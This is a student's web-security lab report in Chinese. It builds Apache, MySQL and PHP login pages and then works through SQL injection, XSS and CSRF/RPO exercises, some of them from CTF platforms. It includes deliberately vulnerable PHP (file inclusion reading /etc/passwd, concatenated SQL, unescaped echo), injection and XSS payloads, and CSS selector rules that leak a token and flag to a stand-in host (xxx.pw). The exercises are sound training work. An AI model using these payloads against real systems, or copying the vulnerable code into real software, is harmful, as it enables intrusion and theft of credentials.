Exp8 web综合

20191218 Exp8 Web综合

目录

一、实践目标

  • (1)Web前端HTML
    能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。

  • (2)Web前端javascipt
    理解JavaScript的基本功能,理解DOM。
    在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
    尝试注入攻击:利用回显用户名注入HTML及JavaScript。

  • (3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表。

  • (4)Web后端:编写PHP网页,连接数据库,进行用户认证。

  • (5)最简单的SQL注入,XSS攻击测试。

  • (6)选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例。

二、实践内容

1、Web前端HTML

apache简介

  • Apache HTTPD又可以简称为httpd或者Apache,是Internet使用最广泛的web服务器之一,使用Apache提供的web服务器是由守护进程httpd,通过http协议进行文本传输,默认使用80端口的明文传输方式。
  • 搭建apache的方法:
    • 由于kali自带apache2,所以使用vim /etc/apache2/ports.conf修改Apache的端口文件,将端口改为http对应的80号端口(一般默认80端口)
    • 使用netstat -tupln |grep 80查看80端口是否被占用。如果有,使用kill+进程号杀死该进程或使用kill -s 9 进程号强制杀死进程
    • 使用systemctl start apache2开启Apache服务
    • 使用systemctl stop apache2关闭Apache服务

HTML简介

  • HTML是超文本标记语言(Hyper Text Markup Language),标准通用标记语言下的一个应用,HTML 不是一种编程语言,而是一种标记语言 (markup language)。“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。超文本标记语言(或超文本标签语言)的结构包括“头”部分和“主体”部分,其中“头”部提供关于网页的信息,“主体”部分提供网页的具体内容。

GET与POST方法

  • GET和POST是HTTP请求的两种基本方法。对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据),数据能够在url中看到。对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
  • Get 方式传输的数据量非常小,一般限制在 2 KB 左右,但是执行效率却比 Post 方法好;而 Post 方式传递的数据量相对较大,它是等待服务器来读取数据,不过也有字节限制,这是为了避免对服务器用大量数据进行恶意攻击。

编写一个含有表单的HTML

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*绝对定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(让div中的内容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陆界面</h1>
    <form name="form1" method="post" action="index.php">
        <table border = "0">
            <tr>
                <td>用户名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                <td><input type="password" name="userpwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
</div>

</body>
</html>

效果:

2、Web前端javascript

  • 编写JavaScript验证用户名、密码的规则
<script type="text/javascript">
    function checkForm(){	//定义javascript函数名
        if (form1.username.value == null || form1.username.value==""){	//判断表单用户名值是否合法
            alert("请输入用户名");	//弹窗警告
            return false;	//返回值false,阻止表单提交
        }
        if (form1.userpwd.value == null || form1.userpwd.value==""){	//判断表单用户名值是否合法
            alert("请输入密码");	//弹窗警告
            return false;	//返回值false,阻止表单提交
        }
        return true;
    }
</script>

html完整代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*绝对定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(让div中的内容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陆界面</h1>
    <form name="form1" onsubmit="return checkForm();" method="post" action="index.php">
        <table border = "0">
            <tr>
                <td>用户名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                <td><input type="password" name="userpwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
</div>

</body>
</html>

<script type="text/javascript">
    function checkForm(){
        if (form1.username.value == null || form1.username.value==""){
            alert("请输入用户名");
            return false;
        }
        if (form1.userpwd.value == null || form1.userpwd.value==""){
            alert("请输入密码");
            return false;
        }
        return true;
    }
</script>

  • 在用户点击登陆按钮后回显“欢迎+输入的用户名”

写一个用于接收用户登陆数据的index.php文件:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome!</title>
</head>
<body>
<h1 align="center">欢迎!<?php echo $_POST['username'];?></h1>	//将接收到的username数据打印在页面中
</body>
</html>

效果:

  • 尝试注入攻击
    方法:登陆时将用户名改为<script>alert("HHH, You're hacked by 20191218!")</script>,使页面弹窗。

3、Web后端MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

  • 安装mysql:新版kali自带mysql,如果想要安装在win10,可以参考:windows10上安装mysql(详细步骤)

  • 启动mysql:输入systemctl start mysql,并查看状态

  • 建库

    • 输入mysql指令,进入mysql数据库中

    • 查看用户信息

    • 输入建库指令:(例如:CREATE DATABASE 20191218test;)

      CREATE DATABASE [IF NOT EXISTS] <数据库名>
      [[DEFAULT] CHARACTER SET <字符集名>] 
      [[DEFAULT] COLLATE <校对规则名>];
      
    • 输入创建用户指令:CREATE USER 'student'@'localhost' IDENTIFIED BY '20191218';

    CREATE USER 'username'@'host' IDENTIFIED BY 'password';
    
    username:你将创建的用户名
    host:指定该用户在哪个主机上可以登陆,如果是本地用户可用localhost,如果想让该用户可以从任意远程主机登陆,可以使用通配符%
    password:该用户的登陆密码,密码可以为空,如果为空则该用户可以不需要密码登陆服务器

  • 修改密码:
方法1: 用SET PASSWORD命令 
首先登录MySQL。 
运行--->输入 cmd 回车
登陆:mysql -u root  -p1234
格式:mysql> set password for 用户名@localhost = password('新密码'); 
例子:mysql> set password for root@localhost = password('123'); 
退出:mysql> quit
             

方法2:用mysqladmin 
运行--->输入 cmd 回车
登陆:mysql -u root  -p1234
格式:mysqladmin -u用户名 -p旧密码 password 新密码 
例子:mysqladmin -uroot -p123456 password 123 
退出:mysql> quit

方法3:用UPDATE直接编辑user表 
首先登录MySQL。 
运行--->输入 cmd 回车
登陆:mysql -u root  -p1234
           mysql> use mysql; 
           mysql> update user set password=password('123') where user='root' and host='localhost'; 
           mysql> flush privileges; 
退出:mysql> quit

方法4:在忘记root密码的时候,可以这样 
以windows为例: 
1. 关闭正在运行的MySQL服务。 
2. 打开DOS窗口,转到mysql\bin目录。 
3. 输入mysqld --skip-grant-tables 回车。--skip-grant-tables 的意思是启动MySQL服务的时候跳过权限表认证。 
4. 再开一个DOS窗口(因为刚才那个DOS窗口已经不能动了),转到mysql\bin目录。 
5. 输入mysql回车,如果成功,将出现MySQL提示符 >。 
6. 连接权限数据库: use mysql; 。 
6. 改密码:update user set password=password("123") where user="root";(别忘了最后加分号) 。 
7. 刷新权限(必须步骤):flush privileges; 。 
8. 退出 quit。 
9. 注销系统,再进入,使用用户名root和刚才设置的新密码123登录。
  • 建表:
CREATE TABLE 表名称
(
列名称1 数据类型,
列名称2 数据类型,
列名称3 数据类型,
....
)

例如:
CREATE TABLE IF NOT EXISTS `user`(
   `id` INT UNSIGNED AUTO_INCREMENT,
   `username` VARCHAR(100) NOT NULL,
   `passwd` VARCHAR(40) NOT NULL,
   `flag` VARCHAR(40) NOT NULL,
   PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

  • 插入数据:

    查看

4、Web后端:编写PHP网页,连接数据库,进行用户认证

  • /var/www/html目录下新建一个PHP测试文件phptest.php
<?php``echo ($_GET[``"a"``]);``include($_GET[``"a"``]);``echo ``"Hello word! This is 1218tqh php test page!<br>"``;``?>


在浏览器网址栏中输入localhost:80/phptest.php,可看到文件的内容

还可以在浏览器网址栏中输入localhost:80/phptest.php?a=/etc/passwd,可看到/etc/passwd文件的内容

  • 编写包含PHP网页,连接数据库
    login.html代码如下
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*绝对定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(让div中的内容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陆界面</h1>
    <form name="form1" method="post" action="easy_sql.php">
        <table border = "0">
            <tr>
                <td>用户名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                <td><input type="password" name="passwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
</body>
</html>

easy_sql源码

<?php
$con=mysqli_connect("127.0.0.1","student","20191218","20191218test");
if (!$con)
{
    die("Connection failed: " . mysqli_connect_error());
}
    $username=$_POST["username"];
    $passwd=$_POST["passwd"];
    if($username&&$passwd) {
        $result = mysqli_query($con, "select * from user_info where username=$username and password=$passwd;");
        $row = mysqli_fetch_array($result);
        if ($row) {
            echo "welcome!".$row['username'];
        } else {
            echo $username."是hacker!!!";
        }
    }
    ?>
</div>

  • 进行用户认证,输入不存在的用户名20191200和密码123456

    发现会显示20191200是hacker!!!

  • 输入正确的用户名20191218和密码20191218进行登录

    可以看到登录成功

5、最简单的SQL注入,XSS攻击测试

SQL注入

sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于Java数据库连接JDBC而言,SQL注入攻击只对Statement有效,对PreparedStatement是无效的,这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。

在用户名输入1 or 1=1#,密码随便输

结果:

可以发现现实的是user_info表中的第一个用户

XSS攻击

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

在用户名输入<script>alert(20191218)</script>,密码随便输

结果:

可以发现直接绕过了登录

还可以尝试显示其他内容,如我在var/www/html/目录下新增一个hhh.jpeg图片,之后在用户名输入框输入<img src="./hhh.jpeg" />,密码任意,就能够读取图片

6、选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例

这里使用的是buuctf平台:BUUCTF在线评测 [CTFHUB]

SQL注入攻击

题目来源:EASYSQL

先判断一下是数字型还是字符型,输入1

有回显,再尝试堆叠注入1;show databases;#,爆出数据库:

再用堆叠注入爆表:1;show tables;#

然后爆字段:1;show columns from FLAG;#,输入后回显Nonono.,猜测有被过滤

继续猜测,测出查询语句为:select ".$post['query']."||flag from Flag
由于本题没有过滤*,用*查询flag中的所有字段,所以直接构造payload为:*,1

成功获得flag,SQL注入攻击成功!

XSS

题目来源:XSS闯关

第一关
这一关没有过滤直接修改url就行

?username=<script>alert('xss')</script>


第二关
这一题样式没什么变化直接上源码

    <html lang="zh"><head>
        <meta charset="UTF-8">
        <title>XSS配套测试平台</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
        <link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
        <script type="text/javascript" src="main.js"></script>
        <style>
            html, body, .app-wrapper {
                position: relative;
                width: 100%;
                height: 100%;
                margin: 0;
                padding: 0;
            }
        </style>
    </head>
    <body>
        <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
        	<div id="ccc">
        		
        	</div>
        </span></div></div></div></div></div></div>
        <script type="text/javascript">
        	if(location.search == ""){
        		location.search = "?username=xss"
        	}
        	var username = 'xss';
        	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
        </script>
     
    </body></html>

真正有用的地方,这里有个escape加密

    <script type="text/javascript">
        	if(location.search == ""){
        		location.search = "?username=xss"
        	}
        	var username = 'xss';
        	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
        </script>

url修改,我们把前面的username闭合,这样就可以直接执行后门的弹窗命令了?username=';alert(1);'

第三关
还是直接上源码

    <html lang="zh"><head>
        <meta charset="UTF-8">
        <title>XSS配套测试平台</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
        <link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
        <script type="text/javascript" src="main.js"></script>
        <style>
            html, body, .app-wrapper {
                position: relative;
                width: 100%;
                height: 100%;
                margin: 0;
                padding: 0;
            }
        </style>
    </head>
    <body>
        <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
        	<div id="ccc">
        		
        	</div>
        </span></div></div></div></div></div></div>
        <script type="text/javascript">
        	if(location.search == ""){
        		location.search = "?username=xss"
        	}
        	var username = '\'';alert(1);';
        	document.getElementById('ccc').innerHTML= "Welcome " + username;
        </script>
     
    </body></html>

有用的部分

    <script type="text/javascript">
        	if(location.search == ""){
        		location.search = "?username=xss"
        	}
        	var username = '\'';alert(1);';
        	document.getElementById('ccc').innerHTML= "Welcome " + username;
        </script>

我们发现这里单引号被转义了,修改url?username='';alert(1);'

第四关
直接上源码

    <html lang="zh"><head>
        <meta charset="UTF-8">
        <title>XSS配套测试平台</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
        <link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
        <script type="text/javascript" src="main.js"></script>
        <style>
            html, body, .app-wrapper {
                position: relative;
                width: 100%;
                height: 100%;
                margin: 0;
                padding: 0;
            }
        </style>
    </head>
    <body>
        <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
        	<div id="ccc">
        		
        	</div>
        </span></div></div></div></div></div></div>
        <script type="text/javascript">
        	var time = 10;
        	var jumpUrl;
        	if(getQueryVariable('jumpUrl') == false){
        		jumpUrl = location.href;
        	}else{
        		jumpUrl = getQueryVariable('jumpUrl');
        	}
        	setTimeout(jump,1000,time);
        	function jump(time){
        		if(time == 0){
        			location.href = jumpUrl;
        		}else{
        			time = time - 1 ;
        			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
        			setTimeout(jump,1000,time);
        		}
        	}
    		function getQueryVariable(variable)
    		{
    		       var query = window.location.search.substring(1);
    		       var vars = query.split("&");
    		       for (var i=0;i<vars.length;i++) {
    		               var pair = vars[i].split("=");
    		               if(pair[0] == variable){return pair[1];}
    		       }
    		       return(false);
    		}
        </script>
     
    </body></html>

有用的地方

    <script type="text/javascript">
        	var time = 10;
        	var jumpUrl;
        	if(getQueryVariable('jumpUrl') == false){
        		jumpUrl = location.href;
        	}else{
        		jumpUrl = getQueryVariable('jumpUrl');
        	}
        	setTimeout(jump,1000,time);
        	function jump(time){
        		if(time == 0){
        			location.href = jumpUrl;
        		}else{
        			time = time - 1 ;
        			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
        			setTimeout(jump,1000,time);
        		}
        	}
    		function getQueryVariable(variable)
    		{
    		       var query = window.location.search.substring(1);
    		       var vars = query.split("&");
    		       for (var i=0;i<vars.length;i++) {
    		               var pair = vars[i].split("=");
    		               if(pair[0] == variable){return pair[1];}
    		       }
    		       return(false);
    		}
        </script>

修改url,伪链接?jumpUrl=javascript:alert('xss')

第五关
上源码

    <html lang="zh"><head>
        <meta charset="UTF-8">
        <title>XSS配套测试平台</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
        <link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
        <script type="text/javascript" src="main.js"></script>
        <style>
            html, body, .app-wrapper {
                position: relative;
                width: 100%;
                height: 100%;
                margin: 0;
                padding: 0;
            }
        </style>
    </head>
    <body>
        <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
        	<div id="ccc">
        		自动提交表单
        		<form action="" method="POST" id="autoForm">
        			<input type="text" name="test">
        			<input type="submit">
        		</form>
        	</div>
        </span></div></div></div></div></div></div>
        <script type="text/javascript">
        	if(getQueryVariable('autosubmit') !== false){
        		var autoForm = document.getElementById('autoForm');
        		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
        		autoForm.submit();
        	}else{
        		
        	}
    		function getQueryVariable(variable)
    		{
    		       var query = window.location.search.substring(1);
    		       var vars = query.split("&");
    		       for (var i=0;i<vars.length;i++) {
    		               var pair = vars[i].split("=");
    		               if(pair[0] == variable){return pair[1];}
    		       }
    		       return(false);
    		}
        </script>
     
    </body></html>

有用的部分

    <script type="text/javascript">
        	if(getQueryVariable('autosubmit') !== false){
        		var autoForm = document.getElementById('autoForm');
        		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
        		autoForm.submit();
        	}else{
        		
        	}
    		function getQueryVariable(variable)
    		{
    		       var query = window.location.search.substring(1);
    		       var vars = query.split("&");
    		       for (var i=0;i<vars.length;i++) {
    		               var pair = vars[i].split("=");
    		               if(pair[0] == variable){return pair[1];}
    		       }
    		       return(false);
    		}
        </script>

如果出错就会执行getQueryVariable函数,不让它出错就完了?autosubmit=1&action=javascript:alert(1)


第六关
上源码

    <html lang="zh"><head>
        <meta charset="UTF-8">
        <title>XSS配套测试平台</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
        <link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
        <script type="text/javascript" src="main.js"></script>
        <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
        <style>
            html, body, .app-wrapper {
                position: relative;
                width: 100%;
                height: 100%;
                margin: 0;
                padding: 0;
            }
        </style>
    </head>
    <body>
        <div id="root" class="app-wrapper amis-scope" ng-app=""><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">welcome xss</span></div></div></div></div></div></div>
        <script type="text/javascript">
        if(location.search == ""){
            location.search = "?username=xss"
        }
    </script>
     
    </body></html>

修改url,{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

完成XSS所有关卡,拿到flag

CSRF

题目来源34C3CTF 2017 urlstorage

RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite)相对路径覆盖,主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

利用方法

  1. 加载任意目录下静态资源文件,就是通过相对路径加载不同路径下的其他同名js/css文件。
  2. 将返回内容按静态文件解析,在很多使用了url_rewrite的php开发框架以及python web框架中,经常使用相对路径来加载静态资源文件,而且url都有一个特征。比如/rpo/user/id/1,这里表示使用参数为id,值为1的内容访问user接口;比如/rpo/user.php/name/tester,这里表示使用参数name,内容为tester的内容访问user.php文件等

回到题目,尝试随便输入

发现css的解析地址是

正常的网站访问,就会去访问/static/css/milligram.min.css,获取到css文件,而第二次访问,虽然由于url_rewrite,也返回了网页内容,css地址被认为是/urlstorage/static/css/milligram.min.css,所以没有被解析。而又由于url_rewrite,返回内容就是文件内容,我们如果控制其中的内容,利用CSS在加载的时候与JS一样是逐行解析的,不同的是CSS会忽略页面中不符合CSS语法的行,可以将文件内容按照静态文件解析。
题目有几个发现。

  1. 在urstorage页面存在csrf,可以任意修改他人的url链接,结合css加载可构成rop。
  2. 在contact页面存在ssrf,提交的所有链接会被管理员点击。
  3. 在flag页面token存在跨站。
    利用contact页面提交的链接,修改管理员的url内容,让其加载我们指定的css样式,我们读取其页面内容。
    我们的目的是读取flag,读取flag需要首先知道管理员的token值,所以我们第一步是要通过urlstorage页面读取其token
    通过观察页面可以知道真正的flag在管理员的flag页面里。
    而这题在flag页面存在跨站,跨站点就在head标签里,所以正好可以利用其构成base标签。
    回到第一个rpo地方,可以通过css选择器去一个个匹配网页链接中的内容,然后再传输出来

第一位字符:

a[href^=flag\?token\=0]{background: url(//xxx.pw/rpo/?c=1);}
a[href^=flag\?token\=1]{background: url(//xxx.pw/rpo/?c=1);}
...
a[href^=flag\?token\=f]{background: url(//xxx.pw/rpo/?c=f);}

第二位字符:

a[href^=flag\?token\=10]{background: url(//xxx.pw/rpo/?c=10);}
a[href^=flag\?token\=11]{background: url(//xxx.pw/rpo/?c=11);}

其中还牵涉到一个问题,每次用户登录的后其token也在改变,所以需要在一次攻击中获取完。
可以通过循环调用的形式不断的获取剩下的字符。

进入token获取flag
这里有一个坑点就是,css选择器在匹配的时候首字符不能是数字,flag的格式为34C3,本地可测试一下

<input id=flag name=flag value="34C3_test">
<input id=blah name=blah value="foo">
<style>
#flag[value^=34C3]{background: url(http://xxx.pw?34c3);}
#blah[value^=foo]{background: url(http://xxx.pw?foo);}
</style>

发现浏览器只会发出foo的请求,对于这个可以有两种方式解决

  1. 使用css的*模糊匹配
#flag[value*=C3_1]{background: url(http://xxx.pw/?flag=C3_1);}
  1. 使用16进制编码
#flag[value^=\33\34\43\33]{background: url(http://xxx.pw/?34c3);}

最后利用base标签,加载urlstorage的页面rpo,然后去获取flag值

三、实践总结与体会

基础问题回答

1.什么是表单

  • 表单对于用户而言是数据的录入和提交的界面,对于网站而言获取用户信息的途径,在网页中主要负责数据采集功能。
  • 表单的基本组成部分:
表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。

表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。

表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

2.浏览器可以解析运行什么语言

浏览器可以解析运行HTML、JavaScript、PHP、ASP、JSP等语言。

3.WebServer支持哪些动态语言

支持php、asp.net、jsp、python等动态语言

4.防范注入攻击的方法有哪些

    1. 采用预编译语句集,避免使用解释程序,防止被非法执行命令。
    1. 及时更新软件和系统版本,防止被最新的漏洞攻击。
    1. 避免出现一些详细的错误消息,使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、规则等。
    1. 使用专业的漏洞扫描工具,如Acunetix的Web漏洞扫描程序等。
    1. 要在Web应用程序开发过程的所有阶段实施代码的安全检查,在部署Web应用之前实施渗透测试。

实验体会

本次实验是关于WEB综合应用的各种操作,在WEB的综合应用方向,有很多需要学习的知识点,像之前在Java Web课程设计、信息系统设计和数据库应用上所学所有的有关前后端知识差不多全都用上了,同时也尝试了在buuctf上进行Web题的练习,更好地掌握了Web攻击中的SQL注入、XSS和CSRF,也知道了在Web安全方面我们还有许许多多可以学习的内容,总的说来收获满满。

posted @ 2022-05-31 10:56  Ensoleile  阅读(93)  评论(0编辑  收藏  举报